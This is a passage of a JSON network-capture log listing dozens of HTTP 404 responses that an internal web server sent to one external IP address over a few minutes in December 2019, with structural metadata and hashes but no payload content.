          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 730,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255677.533867000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "732",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-69d806742812b6becc4d0d52",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 733,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255677.808440000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "735",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-3c87d2702bb39209efe7f098",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 736,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255678.592323000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "738",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-73d9c3775522cda49b57762c",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 739,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255679.558798000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "741",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-d4a373b94282aced3ce00f0f",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 742,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255680.649117000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "744",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-e0ebf63387d5f9e80d2f47a2",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 745,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255682.024888000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "747",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-da817e6c059319dda1432876",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 748,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255682.318581000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "750",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-ccd03ac5166aea6da7046381",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 751,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255682.592599000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "753",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-cf4f4d548d79d08218dff6d2",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 754,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255683.065766000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "756",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-635aa66625cbbf2c0b956779",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 757,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255684.449380000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "759",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-157c3ce5c3eba1953ccad8b3",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 760,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255684.810356000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "762",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-230f36bf8f687f2abfd0986a",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 763,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255685.188100000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-4c4c95053c353aaa119754d2",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 765,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255689.856189000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "767",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-11a624bc1dae4eaab1e62ecd",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 768,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255690.130428000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "770",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-a016e34409d772ad74e9448b",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 771,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255690.405231000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "773",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-a84e7e03d9eec6e302d124c1",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 774,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255691.762124000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "776",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-1dbc6eda157ca0f43bcd2ea4",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 777,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255692.263406000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "779",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65134,
          "event_id": "evt-c497c2ed368547a0ee8fbc47",
          "src_port": 80,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 780,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255693.558912000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "789",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-75054d88c8f036de22870710",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 791,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255705.788050000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "793",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-f7021c5bbf5ad571058593c9",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 794,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255706.365484000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "796",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-a503ae353214bd01c16ca5a4",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 797,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255706.972199000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "799",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-0f6e656ca9d430b1776dff0f",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 800,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255707.428884000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "802",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-bb40912e36f3b41bf42d237b",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 803,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255710.404393000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "805",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-5f9acd9e947eb18a8392de3e",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 806,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255710.706280000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "808",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-fec7db39dabb70f0ef2bf1d7",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 809,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255713.255950000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "811",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-c6edec7d3d23ed2c7f567490",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 812,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255713.522283000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "814",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-9d43257eebfcdc0abe1b7be6",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 815,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255713.789154000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "817",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-ffeda3ed1826e5aaba01138b",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 818,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255714.053911000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "820",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-ba06a3c3b95616c1c2dcc4af",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 821,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255717.021392000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "823",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-2c31050721307d3708da0093",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 824,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255717.595960000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "826",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52677,
          "event_id": "evt-b84a865cbd3d6c9c153a86bc",
          "src_port": 80,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 827,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255717.864650000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "834",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54896,
          "event_id": "evt-397ec1d8abcdfab9bf7a42db",
          "src_port": 80,
          "tcp_stream": 26,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 836,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255721.790085000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "844",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54989,
          "event_id": "evt-e5bd021917579bdbf3ecbbab",
          "src_port": 80,
          "tcp_stream": 27,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 846,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255725.060581000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "848",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54989,
          "event_id": "evt-b462e8bc7f6c70e0c95bf54c",
          "src_port": 80,
          "tcp_stream": 27,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 849,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255725.677148000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "851",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54989,
          "event_id": "evt-e2e01bcd24723ba5b9585045",
          "src_port": 80,
          "tcp_stream": 27,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 852,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255725.953924000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "854",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54989,
          "event_id": "evt-dee69d956462a355271b9fef",
          "src_port": 80,
          "tcp_stream": 27,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 855,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255728.154046000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "857",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54989,
          "event_id": "evt-d6240277714d29fb225a4743",
          "src_port": 80,
          "tcp_stream": 27,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
